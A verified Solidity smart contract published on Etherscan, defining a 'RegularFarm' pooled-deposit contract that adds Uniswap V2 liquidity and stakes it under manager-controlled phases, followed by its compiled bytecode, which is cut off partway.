/** *Submitted for verification at Etherscan.io on 2021-06-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardAdded(uint256 reward); } contract RegularFarm { using SafeMath for uint256; address public owner; address public manager; address public token0Addr; address public token1Addr; address public uniPairAddr; // 配对奖励Token address uint256 public needToken1; uint256 public inDeadline; uint256 public outDeadline; mapping(address => uint256) public balances; mapping(address => uint8) public periods; uint8 public status; //1 = deposit , 2 = withdraw , 3 = manage uint256 public depositToken1; uint256 public calcToken1; uint256 public lossToken1; address public rewardAddr; uint256 public totalReward; uint8 public periodNow; constructor(address _owner, address _manager, address _token0Addr, address _token1Addr, address _uniPairAddr, address _rewardAddr) public { owner = _owner; manager = _manager; token0Addr = _token0Addr; token1Addr = _token1Addr; uniPairAddr = _uniPairAddr; rewardAddr = _rewardAddr; } function activePair(uint256 _needToken1, uint256 _inDeadline, uint256 _outDeadline, uint256 _lossToken1, uint256 _totalReward, uint8 _periodNow) public { require(msg.sender == manager, "Only managerAddr can activePair."); needToken1 = _needToken1; inDeadline = _inDeadline; outDeadline = _outDeadline; lossToken1 = _lossToken1; totalReward = _totalReward; periodNow = _periodNow; } function deposit(uint256 wad) public { require(status == 1, "not deposit status"); require(block.timestamp < inDeadline, "must deposit before Deadline"); require(depositToken1 + wad <= needToken1, "more than needToken1"); balances[msg.sender] = balances[msg.sender].add(wad); periods[msg.sender] = periodNow; depositToken1 = depositToken1.add(wad); TransferHelper.safeTransferFrom(token1Addr, msg.sender, address(this), wad); } function withdraw(uint256 wad) public { require(status == 2, "not withdraw status"); require(block.timestamp < outDeadline, "must withdraw before Deadline"); uint256 reward = 0; if (lossToken1 > 0 && periods[msg.sender] < periodNow) { reward = totalReward.mul(balances[msg.sender]).div(calcToken1); uint256 conversion = calcToken1.sub(lossToken1).mul(balances[msg.sender]).div(calcToken1); depositToken1 = depositToken1.sub(balances[msg.sender]).add(conversion).sub(wad); balances[msg.sender] = conversion.sub(wad); } else { if (periods[msg.sender] < periodNow) reward = totalReward.mul(balances[msg.sender]).div(calcToken1); balances[msg.sender] = balances[msg.sender].sub(wad); depositToken1 = depositToken1.sub(wad); } periods[msg.sender] = periodNow; if (wad > 0) TransferHelper.safeTransfer(token1Addr, msg.sender, wad); if (reward > 0) TransferHelper.safeTransfer(rewardAddr, msg.sender, reward); } function forceWithdraw(uint256 wad, address userAddr, uint256 subAsset, uint256 subReward) public { require(status == 3, "not forceWithdraw status"); require(msg.sender == manager, "Only managerAddr can forceWithdraw."); uint256 reward = 0; if (lossToken1 > 0 && periods[userAddr] < periodNow) { reward = totalReward.mul(balances[userAddr]).div(calcToken1); uint256 conversion = calcToken1.sub(lossToken1).mul(balances[userAddr]).div(calcToken1); depositToken1 = depositToken1.sub(balances[userAddr]).add(conversion).sub(wad); balances[userAddr] = conversion.sub(wad); } else { if (periods[userAddr] < periodNow) reward = totalReward.mul(balances[userAddr]).div(calcToken1); balances[userAddr] = balances[userAddr].sub(wad); depositToken1 = depositToken1.sub(wad); } periods[userAddr] = periodNow; if (wad > 0) TransferHelper.safeTransfer(token1Addr, userAddr, wad - subAsset); if (reward > 0) TransferHelper.safeTransfer(rewardAddr, userAddr, reward - subReward); } function addLiquidity(uint256 token1Amount) public { require(msg.sender == manager, "Only managerAddr can add Liquidity."); require(status == 3); calcToken1 = depositToken1; uint256 token0Amount; IUniswapV2Pair pair = IUniswapV2Pair(uniPairAddr) ; ( uint256 reserve0 , uint256 reserve1 , ) = pair.getReserves() ; // sorted if (token0Addr == pair.token0()) { token0Amount = token1Amount.mul(reserve0).div(reserve1); } else if (token0Addr == pair.token1()) { token0Amount = token1Amount.mul(reserve1).div(reserve0); } else { require(false, "Uniswap token error."); } TransferHelper.safeTransfer(token1Addr, uniPairAddr, token1Amount); TransferHelper.safeTransfer(token0Addr, uniPairAddr, token0Amount); //add liquidity uint256 liquidity = pair.mint(address(this)) ; require(liquidity > 0, "Stake faild.No liquidity.") ; } function approveToken(address token, address to, uint256 value) public { require(msg.sender == manager, "Only managerAddr can transfer Liquidity."); TransferHelper.safeApprove(token, to, value); } function stakeToken(address stakeAddr, uint256 amount) public { require(msg.sender == manager, "Only managerAddr can stakeToken."); IStakingRewards staking = IStakingRewards(stakeAddr); staking.stake(amount) ; } function withdrawToken(address stakeAddr, uint256 amount) public { require(msg.sender == manager, "Only managerAddr can withdrawToken."); IStakingRewards staking = IStakingRewards(stakeAddr); staking.withdraw(amount); } function getReward(address stakeAddr) public { require(msg.sender == manager, "Only managerAddr can getReward."); IStakingRewards staking = IStakingRewards(stakeAddr); staking.getReward(); } function endStake(address stakeAddr) public { require(msg.sender == manager, "Only managerAddr can endStake."); IStakingRewards staking = IStakingRewards(stakeAddr); staking.exit(); periodNow++; } function removeLiquidity(uint256 liquidity) public { //remove liquidity require(msg.sender == manager, "Only managerAddr can removeLiquidity."); IUniswapV2Pair pair = IUniswapV2Pair(uniPairAddr); TransferHelper.safeTransfer(uniPairAddr, uniPairAddr, liquidity) ; pair.burn( address(this) ) ; } function closePair() public { require(msg.sender == manager, "Only managerAddr can closePair."); uint256 token0Amount = IERC20(token0Addr).balanceOf(address(this)); uint256 token1Amount = IERC20(token1Addr).balanceOf(address(this)) - calcToken1 + lossToken1; TransferHelper.safeTransfer(token0Addr, owner, token0Amount); TransferHelper.safeTransfer(token1Addr, owner, token1Amount); } function setStatus(uint8 _status) public { require(msg.sender == manager, "Only managerAddr can setStatus."); status = _status; } function rewardOf(address account) public view returns (uint256) { if (status == 2) { uint256 reward = totalReward.mul(balances[account]).div(calcToken1); if (periods[msg.sender] == periodNow) reward = 0; return reward; } else { return totalReward.mul(balances[account]).div(depositToken1); } } function superTransfer(address token, uint256 value) public { require(msg.sender == manager, "Only managerAddr can transfer Liquidity."); TransferHelper.safeTransfer(token, owner, value); } function changeOwnerAddr(address newAddr) public { require(msg.sender == owner, "Only owner can change owner Address."); owner = newAddr; } function changeMngAddr(address newAddr) public { require(msg.sender == manager, "Only manager can change manager Address."); manager = newAddr; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c8063750142e61161011a578063c00007b0116100ad578063e6e581ca1161007c578063e6e581ca14610850578063e87fe47c1461085a578063f6c7a9251461089e578063f739ed9e14610900578063ffa367511461094e57610206565b8063c00007b01461073c578063ce31ca7414610780578063da3e33971461079e578063df10397d1461080c57610206565b80639c8f9f23116100e95780639c8f9f23146106745780639e281a98146106a2578063a25a64b0146106f0578063b6b55f251461070e57610206565b8063750142e6146105e65780638047b43114610604578063822c6b76146106225780638da5cb5b1461064057610206565b80632d77924a1161019d57806346eac50e1161016c57806346eac50e146104a7578063481c6a75146104f557806351c6590a146105295780637015e95e1461055757806372ebdd471461058b57610206565b80632d77924a146103a15780632e1a7d4d146104045780632e49d78b146104325780633ce501731461046357610206565b8063200d2ed2116101d9578063200d2ed2146102d357806327ac9e5f146102f457806327e235e3146103155780632950fc111461036d57610206565b80630275c3d71461020b57806306c0a5ff1461023f5780630a03ba4e1461025d5780631d62ebd91461027b575b600080fd5b610213610982565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102476109a8565b6040518082815260200191505060405180910390f35b6102656109ae565b6040518082815260200191505060405180910390f35b6102bd6004803603602081101561029157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109b4565b6040518082815260200191505060405180910390f35b6102db610b24565b604051808260ff16815260200191505060405180910390f35b6102fc610b37565b604051808260ff16815260200191505060405180910390f35b6103576004803603602081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4a565b6040518082815260200191505060405180910390f35b610375610b62565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610402600480360360c08110156103b757600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190505050610b88565b005b6104306004803603602081101561041a57600080fd5b8101908080359060200190929190505050610c91565b005b6104616004803603602081101561044857600080fd5b81019080803560ff16906020019092919050505061122a565b005b6104a56004803603602081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130b565b005b6104f3600480360360408110156104bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611469565b005b6104fd61153e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105556004803603602081101561053f57600080fd5b8101908080359060200190929190505050611564565b005b61055f611b55565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105cd600480360360208110156105a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b7b565b604051808260ff16815260200191505060405180910390f35b6105ee611b9b565b6040518082815260200191505060405180910390f35b61060c611ba1565b6040518082815260200191505060405180910390f35b61062a611ba7565b6040518082815260200191505060405180910390f35b610648611bad565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106a06004803603602081101561068a57600080fd5b8101908080359060200190929190505050611bd1565b005b6106ee600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611da0565b005b6106f8611ebb565b6040518082815260200191505060405180910390f35b61073a6004803603602081101561072457600080fd5b8101908080359060200190929190505050611ec1565b005b61077e6004803603602081101561075257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612184565b005b6107886122b0565b6040518082815260200191505060405180910390f35b61080a600480360360608110156107b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122b6565b005b61084e6004803603602081101561082257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061236c565b005b610858612456565b005b61089c6004803603602081101561087057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061274f565b005b6108fe600480360360808110156108b457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612836565b005b61094c6004803603604081101561091657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612e05565b005b610956612f3d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60065481565b60006002600a60009054906101000a900460ff1660ff161415610ab4576000610a3b600c54610a2d600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b9050601060009054906101000a900460ff1660ff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415610aab57600090505b80915050610b1f565b610b1c600b54610b0e600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b90505b919050565b600a60009054906101000a900460ff1681565b601060009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f6e6c79206d616e61676572416464722063616e20616374697665506169722e81525060200191505060405180910390fd5b85600581905550846006819055508360078190555082600d8190555081600f8190555080601060006101000a81548160ff021916908360ff160217905550505050505050565b6002600a60009054906101000a900460ff1660ff1614610d19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6e6f74207769746864726177207374617475730000000000000000000000000081525060200191505060405180910390fd5b6007544210610d90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f6d757374207769746864726177206265666f726520446561646c696e6500000081525060200191505060405180910390fd5b600080600d54118015610e035750601060009054906101000a900460ff1660ff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16105b15610fcc57610e70600c54610e62600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b90506000610ef0600c54610ee2600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed4600d54600c5461303390919063ffffffff16565b612f6390919063ffffffff16565b612fe990919063ffffffff16565b9050610f6a83610f5c83610f4e600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b5461303390919063ffffffff16565b61307d90919063ffffffff16565b61303390919063ffffffff16565b600b81905550610f83838261303390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050611151565b601060009054906101000a900460ff1660ff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610156110a05761109d600c5461108f600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b90505b6110f282600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461303390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061114a82600b5461303390919063ffffffff16565b600b819055505b601060009054906101000a900460ff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555060008211156111ef576111ee600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163384613105565b5b600081111561122657611225600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383613105565b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c79206d616e61676572416464722063616e207365745374617475732e0081525060200191505060405180910390fd5b80600a60006101000a81548160ff021916908360ff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4f6e6c79206d616e61676572416464722063616e20656e645374616b652e000081525060200191505060405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561141b57600080fd5b505af115801561142f573d6000803e3d6000fd5b505050506010600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461150f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806138a36028913960400191505060405180910390fd5b61153a8260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613105565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061385f6023913960400191505060405180910390fd5b6003600a60009054906101000a900460ff1660ff161461162957600080fd5b600b54600c81905550600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156116a357600080fd5b505afa1580156116b7573d6000803e3d6000fd5b505050506040513d60608110156116cd57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561175d57600080fd5b505afa158015611771573d6000803e3d6000fd5b505050506040513d602081101561178757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561181957611812816118048488612f6390919063ffffffff16565b612fe990919063ffffffff16565b9350611991565b8273ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d602081101561188957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561191b57611914826119068388612f6390919063ffffffff16565b612fe990919063ffffffff16565b9350611990565b600061198f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e697377617020746f6b656e206572726f722e00000000000000000000000081525060200191505060405180910390fd5b5b5b6119e0600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687613105565b611a2f600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686613105565b60008373ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611a9a57600080fd5b505af1158015611aae573d6000803e3d6000fd5b505050506040513d6020811015611ac457600080fd5b8101908080519060200190929190505050905060008111611b4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5374616b65206661696c642e4e6f206c69717569646974792e0000000000000081525060200191505060405180910390fd5b505050505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b600f5481565b60055481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806139126025913960400191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611ced600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613105565b8073ffffffffffffffffffffffffffffffffffffffff166389afcb44306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506040805180830381600087803b158015611d5557600080fd5b505af1158015611d69573d6000803e3d6000fd5b505050506040513d6040811015611d7f57600080fd5b81019080805190602001909291908051906020019092919050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806138cb6023913960400191505060405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611e9e57600080fd5b505af1158015611eb2573d6000803e3d6000fd5b50505050505050565b600c5481565b6001600a60009054906101000a900460ff1660ff1614611f49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f74206465706f73697420737461747573000000000000000000000000000081525060200191505060405180910390fd5b6006544210611fc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f6d757374206465706f736974206265666f726520446561646c696e650000000081525060200191505060405180910390fd5b60055481600b5401111561203c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f6d6f7265207468616e206e656564546f6b656e3100000000000000000000000081525060200191505060405180910390fd5b61208e81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461307d90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900460ff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061214d81600b5461307d90919063ffffffff16565b600b81905550612181600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163330846132e8565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c79206d616e61676572416464722063616e206765745265776172642e0081525060200191505060405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff16633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561229457600080fd5b505af11580156122a8573d6000803e3d6000fd5b505050505050565b600d5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461235c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806138a36028913960400191505060405180910390fd5b6123678383836134cd565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612412576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806138376028913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612519576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c79206d616e61676572416464722063616e20636c6f7365506169722e0081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125a457600080fd5b505afa1580156125b8573d6000803e3d6000fd5b505050506040513d60208110156125ce57600080fd5b810190808051906020019092919050505090506000600d54600c54600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561267257600080fd5b505afa158015612686573d6000803e3d6000fd5b505050506040513d602081101561269c57600080fd5b8101908080519060200190929190505050030190506126fe600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613105565b61274b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613105565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806138ee6024913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6003600a60009054906101000a900460ff1660ff16146128be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6e6f7420666f726365576974686472617720737461747573000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061395b6023913960400191505060405180910390fd5b600080600d541180156129d75750601060009054906101000a900460ff1660ff16600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16105b15612ba057612a44600c54612a36600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f54612f6390919063ffffffff16565b612fe990919063ffffffff16565b90506000612ac4600c54612ab6600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081